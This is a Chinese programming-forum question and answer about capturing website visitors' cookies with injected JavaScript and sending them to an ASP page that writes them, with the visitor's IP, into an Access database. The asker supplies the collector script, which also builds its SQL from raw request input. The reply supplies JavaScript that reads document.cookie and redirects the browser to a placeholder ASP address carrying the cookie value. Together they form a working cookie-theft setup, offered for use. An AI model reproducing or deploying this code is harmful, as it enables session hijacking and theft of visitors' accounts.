在js中获得cookies然后提交到asp的问题
在js中获得cookies然后提交到asp的问题
比如说,在代码中插入一个css,然后利用js脚本来获得访问者的cookies,最后提交到asp中去存储到数据库中去。
asp代码我已经写好,如下:
<%
Set conn=Server.CreateObject("ADODB.Connection")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq="& Server.MapPath("co.mdb")
Cookies=request("Cookies")
IP=request.serverVariables("remote_host")
sql="insert into co(Cookies,IP) values('"&Cookies&"','"&IP&"')"
conn.execute(sql)
set conn=nothing
%>
------解决方案--------------------
按贱名称获得cookie的函数
function getcookie(name)
{
 var cookief=false;
 var start=0;
 var end=0;
 var cookiestr=document.cookie;
 var i=0;
 while(i<=cookiestr.length)
 {
   start=i;
   end=start+name.length;
   if(cookiestr.substring(start,end)==name)
   {
     cookief=true;
     break;
   }
   i++;
 }
 if(cookief)
 {
  start=end+1;
  end=cookiestr.length;
  return unescape(cookiestr.substring(start,end));
 }
 return "";
}
var cookie=getcookie("cookies");
if(cookie=="")  
  alert("cookies为空!");
else
  window.location="xxxxxxxxx.asp?cookies="+cookie;//把cookie的值传到服务器